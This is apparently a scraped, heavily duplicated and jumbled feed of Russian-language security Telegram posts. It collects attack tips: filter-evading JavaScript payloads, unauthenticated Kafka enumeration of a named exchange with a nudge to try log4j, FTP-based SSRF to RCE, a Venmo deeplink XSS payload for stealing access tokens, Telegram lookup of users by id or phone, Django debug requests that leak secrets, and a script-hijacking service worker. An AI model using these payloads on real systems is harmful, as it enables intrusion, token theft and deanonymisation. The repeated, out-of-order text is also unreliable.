attacking_bitrix.pdf
3.6 MB
Уязвимости и атаки на CMS Bitrix
1. Особенности
2. Уязвимости
3. Методы атак
Приятного чтения!
P.S. Автор crlf
1. Особенности
2. Уязвимости
3. Методы атак
Приятного чтения!
P.S. Автор crlf
Забавный способ уйти от систем защит - использовать другие системы счисления в #js для скрытия полезной нагрузки.
Например, функция parseInt может позволить перевести строку
>
<
Чтобы выполнить, необходимо воспользоваться функцией
Например, функция parseInt может позволить перевести строку
alert
в числовое значение переведя значение в 36-ричную систему счисления:>
parseInt('alert', 36)
<
17795081
Чтобы выполнить, необходимо воспользоваться функцией
toString
и перевести число обратно в строку:top[17795081..toString(36)]()
>Forwarded from Двойная кавычка
Запоминаем крутые порты 9092 (kafka), 2181 (zookeeper).
Видим подобное на хосте? Проверим, можно ли зайти без аутентификации.
В ответе будут адреса брокеров. Если брокер будет локальный, как ниже, то либо меняем в /etc/hosts временно localhost на нужный нам IP, либо пробрасываем локальный порт на нужную нам тачку.
Видим подобное на хосте? Проверим, можно ли зайти без аутентификации.
kcat -b {IP}:9092 -u -L
В ответе будут адреса брокеров. Если брокер будет локальный, как ниже, то либо меняем в /etc/hosts временно localhost на нужный нам IP, либо пробрасываем локальный порт на нужную нам тачку.
Metadata for all topics (from broker -1: 103.210.236.192:9092/bootstrap):
1 brokers:
broker 0 at localhost:9092 (controller)
126 topics:
topic "LOGICAL_CONTRACT_MESSAGE_8962" with 1 partitions:
partition 0, leader 0, replicas: 0, isrs: 0
topic "traverser_klines_deals" with 1 partitions:
partition 0, leader 0, replicas: 0, isrs: 0
topic "LOGICAL_MESSAGE_8934" with 1 partitions:
partition 0, leader 0, replicas: 0, isrs: 0
>Forwarded from Двойная кавычка
Используем утилиты KaDeck или Offset Explorer для просмотра или изменения содержимого. Пример на скриншоте и выше - биржа okx.com.
Меняем циферки, пробуем эксплойт с log4j)
>
Меняем циферки, пробуем эксплойт с log4j)
>
В некоторых случаях доступ к FTP это еще и SSRF.
Плюсы: FTP тупой, как пробка
Минусы: Активный режим редко где включен.
После подключения с помощью netact, мы можем отправить файл (который мы залили) в произвольное место.
Из примера выше,
>
Плюсы: FTP тупой, как пробка
Минусы: Активный режим редко где включен.
После подключения с помощью netact, мы можем отправить файл (который мы залили) в произвольное место.
RETR file
- готовит содержимое файла к отправкеPORT 1,2,3,4,5,6
- куда отправить содержимое, где первые 4 цифры это IP, а 2 последние это 5*256+6Из примера выше,
PORT 127,0,0,1,31,144
это 127.0.0.1:8080 (31*256+144).>
А вот пример уязвимого кода для выполнения RCE через FTP.
Когда кто-то забирает файл, на контролируемом нами ресурсе, мы ему отдаем полезную нагрузку для эксплуатации выполнения кода (FastCGI, Redis, Zabbix).
После попытки сохранить его, мы отвечаем серверу, что переходим в пассивный режим, отправь содержимое на 127.0.0.1:9000 (или другой порт).
Это не только таск на CTF:
[1], [2]
>
Когда кто-то забирает файл, на контролируемом нами ресурсе, мы ему отдаем полезную нагрузку для эксплуатации выполнения кода (FastCGI, Redis, Zabbix).
После попытки сохранить его, мы отвечаем серверу, что переходим в пассивный режим, отправь содержимое на 127.0.0.1:9000 (или другой порт).
Это не только таск на CTF:
[1], [2]
>
#mobile #deeplink
Если вы нашли XSS на сайте, но у неё низкий impact — не удаётся "украсть" аккаунт жертвы или актив вне скоупа.
Вам стоит поискать мобильное приложение, которое содержит WebView функциональность и присваивает токен при открытии страницы.
Возьмём для примера приложение от PayPal.
Открыв его в декомпиляторе можно найти функцию около webview функциональности
Если да, составляем полезную нагрузку:
Такая же функциональность в приложении TripAdvisor:
Если вы нашли XSS на сайте, но у неё низкий impact — не удаётся "украсть" аккаунт жертвы или актив вне скоупа.
Вам стоит поискать мобильное приложение, которое содержит WebView функциональность и присваивает токен при открытии страницы.
Возьмём для примера приложение от PayPal.
Открыв его в декомпиляторе можно найти функцию около webview функциональности
boolean isSecureVenmoHostUrl(Uri uri)
Внутри неё обнаруживаем хосты host.endsWith(".venmo.com") || host.equals("venmo.com") || host.endsWith(".venmo.biz")
Теперь нужно проверить возможно ли передать свой url в класс webview.Если да, составляем полезную нагрузку:
<a href="venmo://webview?url=https://legal.venmo.com/index.php?p=<svg>">PoC Send</a>
Это был пример как поднять xss, до чего-то существенного. При открытии ссылки, возможно украсть access_token и получить доступ к платежам пользователя.Такая же функциональность в приложении TripAdvisor:
Pattern f30622a = Pattern.compile("^(?:https?\\:\\/\\/(?:[A-Za-z0-9_\\-]+\\.(dhcp(\\-[A-Za-z]+)?\\.([A-Za-z0-9_\\-]+\\.corp\\.)?|(nw\\.)?dev(\\-[A-Za-z]+)?\\.|cmc\\.|d\\.)?)?tripadvisor\\.(?:com|(?:[a-z]{2})|(?:(?:co|com)\\.[a-z]{2})))?\\/.*$");
В перечисленных случаях выше, разработчики исправляют только xss, поэтому вы всё ещё можете это воспроизвести.#osint #telegram
Чтобы узнать аккаунт в Telegram по его id, достаточно написать ссылку вида
t.me/@id45933
Где
Чтобы не добавлять к себе в контакты номер телефона, достаточно написать ссылку
t.me/+15109728359
Аналогично, при переходе по ссылке получим профиль с этим номером телефона и оригинальным именем.
>
Чтобы узнать аккаунт в Telegram по его id, достаточно написать ссылку вида
t.me/@id45933
Где
45933
- интересующий нас айдишник. При переходе с мобильного клиента мы получим профиль с привязанным идентификатором.Чтобы не добавлять к себе в контакты номер телефона, достаточно написать ссылку
t.me/+15109728359
Аналогично, при переходе по ссылке получим профиль с этим номером телефона и оригинальным именем.
>
Анонс Cure53 о том, что они убьют XSS как класс уязвимостей похож на правду. DOMPurify теперь встроен в браузеры и тестируется.
Как потестить:
Firefox:
Chrome:
Как думаете, взлетит или будет на уровне CSP (у одного из ста)?
https://wicg.github.io/sanitizer-api/#dom-element-sethtml
// this is safe by default
document.body.setHTML('unsafe HTML here')
Как потестить:
Firefox:
about:config#dom.security.sanitizer.enabled
Chrome:
chrome://flags#enable-experimental-web-platform-features
Как думаете, взлетит или будет на уровне CSP (у одного из ста)?
https://wicg.github.io/sanitizer-api/#dom-element-sethtml
burp_sign_headers.py
3.3 KB
Короч, на пентесте была защита от дураков, каждая отправка запроса (POST x-www-form-urlencoded или application/json) подписывалась. Причем бралась сессия, текущий timestamp, сортировались параметры, все это оборачивалось в md5.
Эта проверка целостности передавалась в заголовке, и если не совпадала с текущими данными в POST, то обработка прерывалась. А без этого, естественно, ни Intuder, ни Scanner не работал.
Запилили плагин для Burp, добавляется через Extender -> Add -> Python, вдруг пригодится в будущем.
>
Эта проверка целостности передавалась в заголовке, и если не совпадала с текущими данными в POST, то обработка прерывалась. А без этого, естественно, ни Intuder, ни Scanner не работал.
Запилили плагин для Burp, добавляется через Extender -> Add -> Python, вдруг пригодится в будущем.
>
kapacitor_rce.sh
1.8 KB
Kapacitor - это система обработки данных с открытым исходным кодом, которая умеет обрабатывать метрики из InfluxDB и является частью TICK-стека. Из коробки умеет в RCE, если торчит наружу.
Для тестов:
Для тестов:
docker run --rm --net=host -it influxdb:1.8
docker run --rm -it --net=host -e KAPACITOR_INFLUXDB_0_URLS_0=http://127.0.0.1:8086 kapacitor
./kapacitor_rce.sh 172.17.0.3
>Приложения на Django в debug режиме раскрывают содержимое environment переменных при необработанном исключении.
Несмотря на наличие автоматического сокрытия значений, для переменных соответствующих регулярному выражению
Если обнаружить debug режим можно просто обратившись к несуществующей странице, то вызвать exception иногда бывает проблематично. Даже с раскрытием существующих в приложении путей через 404-ую страницу.
Но существуют и более универсальные подходы.
Пример 1
Нестандартные символы в Host. Правда с учетом облачных сервисов этот вариант срабатывает редко.
Использование большего количества переменных в POST, чем указано в настройке DATA_UPLOAD_MAX_NUMBER_FIELDS (по умолчанию 1000).
Для эксплуатации необходимо найти любой роут, поддерживающий POST запросы, и в редких случаях получить валидное значение CSRF токена на странице.
Несмотря на наличие автоматического сокрытия значений, для переменных соответствующих регулярному выражению
API|TOKEN|KEY|SECRET|PASS|SIGNATURE
, часто это приводит к утечкам через нестандартные имена переменных.Если обнаружить debug режим можно просто обратившись к несуществующей странице, то вызвать exception иногда бывает проблематично. Даже с раскрытием существующих в приложении путей через 404-ую страницу.
Но существуют и более универсальные подходы.
Пример 1
Нестандартные символы в Host. Правда с учетом облачных сервисов этот вариант срабатывает редко.
GET / HTTP/1.1Пример 2
Host: '"
Invalid HTTP_HOST header: '\'"'. The domain name provided is not valid according to RFC 1034/1035.
Использование большего количества переменных в POST, чем указано в настройке DATA_UPLOAD_MAX_NUMBER_FIELDS (по умолчанию 1000).
Для эксплуатации необходимо найти любой роут, поддерживающий POST запросы, и в редких случаях получить валидное значение CSRF токена на странице.
POST / HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: csrftoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
Content-Length: 3093
csrfmiddlewaretoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&x=&x=&x=&x=[..1000 раз..]&x=&x=&x=
Service Worker - это скрипт, запускаемый браузером в фоновом процессе. Думаю, еще не самая используемая технология пентестерами, а ведь с помощью нее можно придумать какую-нибудь интересную эксплуатацию уязвимостей. Большинство использует как кэш в твоем браузере, а кто-то, наверное, всякие гадости делает?
Чтобы посмотреть, что у тебя крутится-вертится, нужно открыть
Например, вот логика простого перехватчика запросов, которые заканчиваются на js. Если происходит fetch (а это даже просто подключаемый js на страницу с помощью тега
Надо разместить куда-то serviceworker.js (на имя пофиг).
И зарегать его:
При следующем посещении все js’ки будут alert’тить.
А вот если какой-то контент доступен только с помощью метода POST и тебе его нужно оттуда подгрузить js, то можно просто заменить любой запрос на странице (назовем его intercept), на наше событие:
И вместо
>
Чтобы посмотреть, что у тебя крутится-вертится, нужно открыть
chrome://serviceworker-internals/
. Если ты активный пользователь интернета, будешь неприятно удивленНапример, вот логика простого перехватчика запросов, которые заканчиваются на js. Если происходит fetch (а это даже просто подключаемый js на страницу с помощью тега
<script>
, то вернется alert()
.Надо разместить куда-то serviceworker.js (на имя пофиг).
self.addEventListener('fetch', event => {
if(event.request.url.endsWith('.js'))
event.respondWith(new Response('alert()'));
});
И зарегать его:
<script>navigator.serviceWorker.register(‘serviceworker.js')</script>
При следующем посещении все js’ки будут alert’тить.
А вот если какой-то контент доступен только с помощью метода POST и тебе его нужно оттуда подгрузить js, то можно просто заменить любой запрос на странице (назовем его intercept), на наше событие:
self.addEventListener('fetch', event => {
const url = '/api/user';
if(event.request.url.endsWith('/intercept'))
event.respondWith(fetch(url, {
method : 'POST',
mode : 'no-cors',
credentials: 'include'
}));
});
И вместо
<script src=/intercept></script>
, будет содержимое POST-запроса>
#api #params #tool
Помимо брутфорса директорий, на проекте также важно находить и проверять скрытые параметры. Разработчики могли оставить функции для их обработки на сервере, но на клиентской части код удалить.
Также может возникать уязвимость Mass Assignment, где разработчик создал структуру, а злоумышленник может её заполнить, угадав названия полей с помощью перебора.
Первая это плагин для BurpSuite. Вторая — консольная утилита на Python.
Относительно недавно, появилась новая консольная утилита x8
Она написана на языке Rust, разработчиком является багхантер @sh1y0
Около 40% уязвимостей на h1 он нашёл с её использованием
К слову, багхантеры за рубежом не стесняются встраивать её в свои конвейеры для поиска уязвимостей.
На мой взгляд, данная тула наиболее эффективна, и сейчас мы разберёмся почему.
1. Arjun, в отличие от x8, имеет фиксированное значение параметров при брутфорсе (по умолчанию 500).
Это значит, что в запросе из вордлиста будут отсылаться сразу 500 параметров:
2. Ещё одним важным отличием являются функции сравнения ответов на странице.
Arjun сохраняет тело первого ответа и сравнивает с ответом нового запроса. Если есть разница — выводит сообщение о том что параметр влияет на ответ.
Естественно, проблема здесь очевидна, содержимое в ответе может быть всегда динамическим. Например, в теле ответа иногда встроен datetime.
x8 лишён данной проблемы, из-за наличия специальных тестовых запросов, которые нужны для выявления динамических строк — исключая их таким образом из поиска.
3. Arjun поддерживает методы только GET и POST, а Param Miner не умеет искать рекурсивным поиском.
Кроме того, в x8 есть гибкая настройка отправки параметров — концепция шаблонов и injection pointов, которая отсутствует в других инструментах.
Вообще, автор создал табличку, где сравнивает все три решения sh1yo.art/x8stats/
Так можно оценить эффективность работы на реальных сайтах.
Пример использования:
Помимо брутфорса директорий, на проекте также важно находить и проверять скрытые параметры. Разработчики могли оставить функции для их обработки на сервере, но на клиентской части код удалить.
Также может возникать уязвимость Mass Assignment, где разработчик создал структуру, а злоумышленник может её заполнить, угадав названия полей с помощью перебора.
public class User {Чтобы правильно и эффективно находить такие вещи, нам нужен подход или утилита. Самые известные вот эти две: Param Miner и Arjun
private String userid;
private String password;
private String email;
private boolean isAdmin;
}
Первая это плагин для BurpSuite. Вторая — консольная утилита на Python.
Относительно недавно, появилась новая консольная утилита x8
Она написана на языке Rust, разработчиком является багхантер @sh1y0
Около 40% уязвимостей на h1 он нашёл с её использованием
К слову, багхантеры за рубежом не стесняются встраивать её в свои конвейеры для поиска уязвимостей.
На мой взгляд, данная тула наиболее эффективна, и сейчас мы разберёмся почему.
1. Arjun, в отличие от x8, имеет фиксированное значение параметров при брутфорсе (по умолчанию 500).
Это значит, что в запросе из вордлиста будут отсылаться сразу 500 параметров:
/?param1=test¶m2=test&...¶m500=test
Проблема здесь заключается в том, что многие серверы будут отдавать 414 URI Too Long, либо банально игнорировать последние 200 параметров. Таким образом, даже если в вашем текстовом файле есть нужный параметр — он не будет найден.2. Ещё одним важным отличием являются функции сравнения ответов на странице.
Arjun сохраняет тело первого ответа и сравнивает с ответом нового запроса. Если есть разница — выводит сообщение о том что параметр влияет на ответ.
Естественно, проблема здесь очевидна, содержимое в ответе может быть всегда динамическим. Например, в теле ответа иногда встроен datetime.
x8 лишён данной проблемы, из-за наличия специальных тестовых запросов, которые нужны для выявления динамических строк — исключая их таким образом из поиска.
HTTP/1.1 200 OKКак видно из примера, строка которая содержит время, исключена и помечена как динамическая.
Content-Length: 18
<html>
- Time 13:36:23
<id="test">
HTTP/1.1 200 OKЗдесь x8 понимает, что параметр найден из-за изменений в теге id.
Content-Length: 37
<html>
- Time 13:37:48
+ <id="admin_param">
3. Arjun поддерживает методы только GET и POST, а Param Miner не умеет искать рекурсивным поиском.
Кроме того, в x8 есть гибкая настройка отправки параметров — концепция шаблонов и injection pointов, которая отсутствует в других инструментах.
Вообще, автор создал табличку, где сравнивает все три решения sh1yo.art/x8stats/
Так можно оценить эффективность работы на реальных сайтах.
Пример использования:
x8 -u "https://example.com/" -w <wordlist>